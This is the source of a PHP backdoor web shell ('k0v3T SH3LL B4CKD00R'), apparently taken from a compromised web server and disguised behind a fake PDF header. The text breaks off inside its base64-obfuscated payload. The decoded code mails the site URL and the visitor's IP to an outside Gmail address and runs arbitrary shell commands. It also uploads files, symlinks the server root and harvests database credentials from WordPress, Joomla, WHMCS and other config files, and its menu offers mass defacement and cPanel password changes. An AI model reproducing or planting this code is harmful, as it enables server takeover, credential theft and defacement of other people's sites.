%PDF- %PDF-
Direktori : /var/www/html/sljcon/ |
Current File : /var/www/html/sljcon/99.php |
<html> <head> <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'> <title>k0v3T SH3LL B4CKD00R</title> <center><h1><font face="Sarpanch"> ⚜ k0v3T SH3LL B4CKD00R ⚜</h1></center> <meta name='author' content='k0v3T Shell'> <meta charset="UTF-8"> <link href="" rel="stylesheet" type="text/css"> <style> body{ font-family: "Sarpanch", cursive; background-image: url("#"); color:red; background-attachment:fixed; background-repeat:no-repeat; background-position:center; background-color:#000; -webkit-background-size: 100% 100%; } #content tr:hover{ background-color:white; text-shadow:1px 0px 0px #000; } #content .first{ background-color: yellow; font-weight: bold; } H1{ color:yellow; font-family: "Sarpanch", cursive; } #content .first:hover{ background-color: yellow; text-shadow:1px 0px 0px #000; } table{ border: 0px red solid; } a{ color: yellow; text-decoration: none; } a:hover{ color: white; text-shadow:1px 0px 0px #000; } .tombols{ background:black; color:yellow; border-top:0; border-left:0; border-right:0; border: 2px white solid; padding:5px 8px; text-decoration:none; font-family: 'Sarpanch', sans-serif; border-radius:5px; } textarea{ color:white; background-color:transparent; font-weight: bold; padding:5px 8px; font-family: "Sarpanch", cursive; border: 2px white solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } input,select{ color:yellow; background-color:black; font-weight: bold; font-family: "Sarpanch", cursive; border: 2px white solid; } </style> </head> <link href="https://fonts.googleapis.com/css?family=Courgette" rel="stylesheet"> <link href="https://fonts.googleapis.com/css?family=Sarpanch|Teko" rel="stylesheet"> <?php $code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CnNldF90aW1lX2xpbWl0KDApOwppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7CmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKJHR1anVhbm1haWwgPSAnYmF5dXJldm9zY3lAZ21haWwuY29tJzsKJHhfcGF0aCA9ICJodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CiRwZXNhbl9hbGVydCA9ICJmaXggJHhfcGF0aCA6cCAqSVAgQWRkcmVzcyA6IFsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIjsKbWFpbCgkdHVqdWFubWFpbCwgIkxPR0dFUiIsICRwZXNhbl9hbGVydCwgIlsgIiAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gIiBdIik7CnNldF90aW1lX2xpbWl0KDApOwplcnJvcl9yZXBvcnRpbmcoMCk7CgovL2Z1bmN0aW9uCmZ1bmN0aW9uIGFtYmlsS2F0YSgkcGFyYW0sICRrYXRhMSwgJGthdGEyKXsKICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMSkgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7CiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTIpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOwogICAgJHN0YXJ0ID0gc3RycG9zKCRwYXJhbSwgJGthdGExKSArIHN0cmxlbigka2F0YTEpOwogICAgJGVuZCA9IHN0cnBvcygkcGFyYW0sICRrYXRhMiwgJHN0YXJ0KTsKICAgICRyZXR1cm4gPSBzdWJzdHIoJHBhcmFtLCAkc3RhcnQsICRlbmQgLSAkc3RhcnQpOwogICAgcmV0dXJuICRyZXR1cm47Cn0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgewogICAgZnVuY3Rpb24gaWR4X3NzKCRhcnJheSkgewpyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnaWR4X3NzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOwogICAgfQogICAgJF9QT1NUID0gaWR4X3NzKCRfUE9TVCk7Cn0KCmZ1bmN0aW9uIGV4ZSgkY21kKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7ICAgICAgICAKQG9iX3N0YXJ0KCk7ICAgICAgIApAc3lzdGVtKCRjbWQpOyAgICAgCiRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAgICAgICAgCkBvYl9lbmRfY2xlYW4oKTsgICAgICAgCnJldHVybiAkYnVmZjsgIAogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgICAgICAgIApAZXhlYygkY21kLCRyZXN1bHRzKTsgICAgICAKJGJ1ZmYgPSAiIjsgICAgICAgIApmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpIHsgICAgICAgICAKICAgICRidWZmIC49ICRyZXN1bHQ7ICAgICAgCn0gcmV0dXJuICRidWZmOyAgICAKICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgeyAgICAgICAgCkBvYl9zdGFydCgpOyAgICAgICAKQHBhc3N0aHJ1KCRjbWQpOyAgICAgICAKJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7ICAgICAgICAKQG9iX2VuZF9jbGVhbigpOyAgICAgICAKcmV0dXJuICRidWZmOyAgCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgeyAgICAgIAokYnVmZiA9IEBzaGVsbF9leGVjKCRjbWQpOyAgICAgCnJldHVybiAkYnVmZjsgIAogICAgfQp9CgovL2NoZWNrIGRpcgokbmljayA9ICJrMHYzVCI7CmlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKJHBhdGggPSAkX0dFVFsncGF0aCddOwp9ZWxzZXsKJHBhdGggPSBnZXRjd2QoKTsKfQokc29mdHdhcmUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOwokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKJHBhdGhzID0gZXhwbG9kZSgnLycsJHBhdGgpOwoKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwogICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgJGdyb3VwID0gIj8iOwp9IGVsc2UgewogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOwogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChwb3NpeF9nZXRlZ2lkKCkpOwogICAgJHVzZXIgPSAkdWlkWyduYW1lJ107CiAgICAkdWlkID0gJHVpZFsndWlkJ107CiAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAkZ2lkID0gJGdpZFsnZ2lkJ107Cn0gCi8vdW5hbWUKZWNobyAiPGJyPjxiPjxpPjxjZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IHNpemU9Mz5DdXJyZW50IERpciA8L2ZvbnQ+OiAiOwpmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewppZigkcGF0ID09ICcnICYmICRpZCA9PSAwKXsKJGEgPSB0cnVlOwplY2hvICc8YSBocmVmPSI/cGF0aD0vIj4vPC9hPic7CmNvbnRpbnVlOwp9CmlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOwplY2hvICc8YSBocmVmPSI/cGF0aD0nOwpmb3IoJGk9MDskaTw9JGlkOyRpKyspewplY2hvICIkcGF0aHNbJGldIjsKaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKfQplY2hvICciPjxmb250IGNvbG9yPXJlZCBzaXplPTM+Jy4kcGF0Lic8L2ZvbnQ+PC9hPi8nOwp9CgojI1RPT0xCQVIKZWNobyAiPGhyIGNvbG9yPXllbGxvdz4KPGJyPjxjZW50ZXI+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/JyBjbGFzcz0ndG9tYm9scyc+SG9tZTwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9dXBsb2FkJyBjbGFzcz0ndG9tYm9scyc+VXBsb2FkPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1jbWQnIGNsYXNzPSd0b21ib2xzJz5Db21tYW5kPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1jb25maWd2MicgY2xhc3M9J3RvbWJvbHMnPkNvbmZpZzwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9anVtcGluZycgY2xhc3M9J3RvbWJvbHMnPkp1bXBpbmc8L2E+Cjxmb250IHNpemU9Mz48YSBocmVmPSc/cGF0aD0kcGF0aCZhPXN5bWxpbmsnIGNsYXNzPSd0b21ib2xzJz5TeW1saW5rPC9hPgo8YnI+PGJyPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1tYXNzX2RlZmFjZScgY2xhc3M9J3RvbWJvbHMnPk1hc3MgRGVmYWNlPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1kaXNhYmxlZnVuYycgY2xhc3M9J3RvbWJvbHMnPkJ5cGFzcyBEaXNhYmxlIEZ1bmN0aW9uPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1yZHBzaGVsbCcgY2xhc3M9J3RvbWJvbHMnPkstUkRQIDVIM0xMPC9hPgo8YnI+PGJyPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT1hZG1pbmVyJyBjbGFzcz0ndG9tYm9scyc+QWRtaW5lcjwvYT4KPGZvbnQgc2l6ZT0zPjxhIGhyZWY9Jz9wYXRoPSRwYXRoJmE9Z2V0Y3AnIGNsYXNzPSd0b21ib2xzJz5DaGFuZ2UgUGFzc3dvcmQgY1BhbmVsPC9hPgo8Zm9udCBzaXplPTM+PGEgaHJlZj0nP3BhdGg9JHBhdGgmYT16b25lLWgnIGNsYXNzPSd0b21ib2xzJz5ab25lLUg8L2E+CgoKPC9jZW50ZXI+PC9icj4KPGhyIGNvbG9yPXllbGxvdz48Y2VudGVyPiI7CgovL3VwbG9hZHMKaWYoJF9HRVRbJ2EnXSA9PSAndXBsb2FkJykgewppZihpc3NldCgkX0ZJTEVTWydmaWxlJ10pKXsKaWYoY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sJHBhdGguJy8nLiRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPkJlcmhhc2lsIFVwbG9hZCBnYW4hPC9mb250PjxiciAvPic7Cn1lbHNlewplY2hvICc8Zm9udCBjb2xvcj0icmVkIj5HYWdhbCBVcGxvYWQgR2FuPC9mb250PjxiciAvPic7Cn0KfQplY2hvICc8Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJyZWQiIHNpemU9IjQiPgpVcGxvYWQgRmlsZSA6PGJyPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiAvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVXBsb2FkIiAvPgo8L2Zvcm0+PGJyPgo8L3RkPjwvdHI+JzsgICAgCgoKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnY29uZmlndjInKSB7CiAgICAgICAgICAgIGlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09ICJ3aW4iKXsKZWNobyAnPHNjcmlwdD5hbGVydCgiVGlkYWsgYmlzYSBkaSBndW5ha2FuIGRpIHNlcnZlciB3aW5kb3dzIik8L3NjcmlwdD4nOwpleGl0Owp9CiAgICBpZigkX1BPU1QpeyBpZigkX1BPU1RbJ2NvbmZpZyddID09ICdzeW12aG9zdHMnKSB7CiAgICAgICAgQG1rZGlyKCJrMHYzVF9zeW12aG9zdHMiLCAwNzc3KTsKZXhlKCJsbiAtcyAvIGswdjNUX3N5bXZob3N0cy9yb290Iik7CiRodGFjY2Vzcz0iT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHAKU2F0aXNmeSBBbnkiOwpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bXZob3N0cy8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7CiAgICAgICAgJGV0Y19wYXNzd2Q9JF9QT1NUWydwYXNzd2QnXTsKICAgIAogICAgJGV0Y19wYXNzd2Q9ZXhwbG9kZSgiXG4iLCRldGNfcGFzc3dkKTsKZm9yZWFjaCgkZXRjX3Bhc3N3ZCBhcyAkcGFzc3dkKXsKJHBhd2Q9ZXhwbG9kZSgiOiIsJHBhc3N3ZCk7CiR1c2VyID0kcGF3ZFs1XTsKJGplbWJvZCA9IHByZWdfcmVwbGFjZSgnL1wvdmFyXC93d3dcL3Zob3N0c1wvLycsICcnLCAkdXNlcik7CmlmIChwcmVnX21hdGNoKCcvdmhvc3RzL2knLCR1c2VyKSl7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL3dwLWNvbmZpZy5waHAgazB2M1Rfc3ltdmhvc3RzLyIuJGplbWJvZC4iLVdvcmRwcmVzcy50eHQiKTsKZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvY29uZmlndXJhdGlvbi5waHAgazB2M1Rfc3ltdmhvc3RzLyIuJGplbWJvZC4iLUpvb21sYS50eHQiKTsKZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvY29uZmlnL2tvbmVrc2kucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1Mb2tvbWVkaWEudHh0Iik7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2ZvcnVtL2NvbmZpZy5waHAgazB2M1Rfc3ltdmhvc3RzLyIuJGplbWJvZC4iLXBocEJCLnR4dCIpOwpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItRHJ1cGFsLnR4dCIpOwpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9jb25maWcvc2V0dGluZ3MuaW5jLnBocCBrMHYzVF9zeW12aG9zdHMvIi4kamVtYm9kLiItUHJlc3RhU2hvcC50eHQiKTsKZXhlKCJsbiAtcyAiLiR1c2VyLiIvaHR0cGRvY3MvYXBwL2V0Yy9sb2NhbC54bWwgazB2M1Rfc3ltdmhvc3RzLyIuJGplbWJvZC4iLU1hZ2VudG8udHh0Iik7CmV4ZSgibG4gLXMgIi4kdXNlci4iL2h0dHBkb2NzL2FkbWluL2NvbmZpZy5waHAgazB2M1Rfc3ltdmhvc3RzLyIuJGplbWJvZC4iLU9wZW5DYXJ0LnR4dCIpOwpleGUoImxuIC1zICIuJHVzZXIuIi9odHRwZG9jcy9hcHBsaWNhdGlvbi9jb25maWcvZGF0YWJhc2UucGhwIGswdjNUX3N5bXZob3N0cy8iLiRqZW1ib2QuIi1FbGxpc2xhYi50eHQiKTsgCn19fQppZigkX1BPU1RbJ2NvbmZpZyddID09ICdzeW1saW5rJykgewpAbWtkaXIoImswdjNUX3N5bWNvbmZpZyIsIDA3NzcpOwpAc3ltbGluaygiLyIsImswdjNUX3N5bWNvbmZpZy9yb290Iik7CiRodGFjY2Vzcz0iT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHAKU2F0aXNmeSBBbnkiOwpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bWNvbmZpZy8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7fQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CkBta2RpcigiazB2M1Rfc3ltNDA0IiwgMDc3Nyk7CkBzeW1saW5rKCIvIiwiazB2M1Rfc3ltNDA0L3Jvb3QiKTsKJGh0YWNjZXNzPSJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocApTYXRpc2Z5IEFueQpJbmRleE9wdGlvbnMgK0NoYXJzZXQ9VVRGLTggK0ZhbmN5SW5kZXhpbmcgK0lnbm9yZUNhc2UgK0ZvbGRlcnNGaXJzdCArWEhUTUwgK0hUTUxUYWJsZSArU3VwcHJlc3NSdWxlcyArU3VwcHJlc3NEZXNjcmlwdGlvbiArTmFtZVdpZHRoPSoKSW5kZXhJZ25vcmUgKi50eHQ0MDQKUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9IF4uKmswdjNUX3N5bTQwNCBbTkNdClJld3JpdGVSdWxlIFwudHh0JCAle1JFUVVFU1RfVVJJfTQwNCBbTCxSPTMwMi5OQ10iOwpAZmlsZV9wdXRfY29udGVudHMoImswdjNUX3N5bTQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7Cn0KaWYoJF9QT1NUWydjb25maWcnXSA9PSAnZ3JhYicpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoImswdjNUX2NvbmZpZ2dyYWIiLCAwNzc3KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGlzaV9odGMgPSAiT3B0aW9ucyBhbGxcblJlcXVpcmUgTm9uZVxuU2F0aXNmeSBBbnkiOwogICAgICAgICAgICAgICAgICAgICAgICAkaHRjID0gZm9wZW4oImswdjNUX2NvbmZpZ2dyYWIvLmh0YWNjZXNzIiwidyIpOwogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGh0YywgJGlzaV9odGMpOyAKfQokcGFzc3dkID0gJF9QT1NUWydwYXNzd2QnXTsKCnByZWdfbWF0Y2hfYWxsKCcvKC4qPyk6eDovJywgJHBhc3N3ZCwgJHVzZXJfY29uZmlnKTsKZm9yZWFjaCgkdXNlcl9jb25maWdbMV0gYXMgJHVzZXJfazB2M1QpIHsKJGdyYWJfY29uZmlnID0gYXJyYXkoCiIvaG9tZS8kdXNlcl9rMHYzVC8uYWNjZXNzaGFzaCIgPT4gIldITS1hY2Nlc3NoYXNoIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCIgPT4gIkxva29tZWRpYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwIiA9PiAicGhwQkIiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAiID0+ICJEcnVwYWwiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAiID0+ICJQcmVzdGFTaG9wIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2FwcC9ldGMvbG9jYWwueG1sIiA9PiAiTWFnZW50byIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwIiA9PiAiT3BlbkNhcnQiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCIgPT4gIkVsbGlzbGFiIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCIgPT4gIlZidWxsZXRpbiIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwIiA9PiAiVmJ1bGxldGluIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAiID0+ICJWYnVsbGV0aW4iLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAiID0+ICJNeUJCIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAiID0+ICJPc0NvbW1lcmNlIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3MvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvb3Njb20vaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcHJvZHVjdHMvaW5jbHVkZXMvY29uZmlndXJlLnBocCIgPT4gIk9zQ29tbWVyY2UiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9jb25maWd1cmUucGhwIiA9PiAiT3NDb21tZXJjZSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9pbmMvY29uZl9nbG9iYWwucGhwIiA9PiAiSVBCIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd29yZHByZXNzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwIiA9PiAiV29yZHByZXNzIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAiID0+ICJXb3JkcHJlc3MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCIgPT4gIldvcmRwcmVzcyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAiID0+ICJeV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL2RlbW8vY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC92Mi9jb25maWd1cmF0aW9uLnBocCIgPT4gIkpvb21sYSIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAiID0+ICJKb29tbGEiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwIiA9PiAiSm9vbWxhIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUNTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jczEvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9rMHYzVC9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dobWMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL3dobWMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQu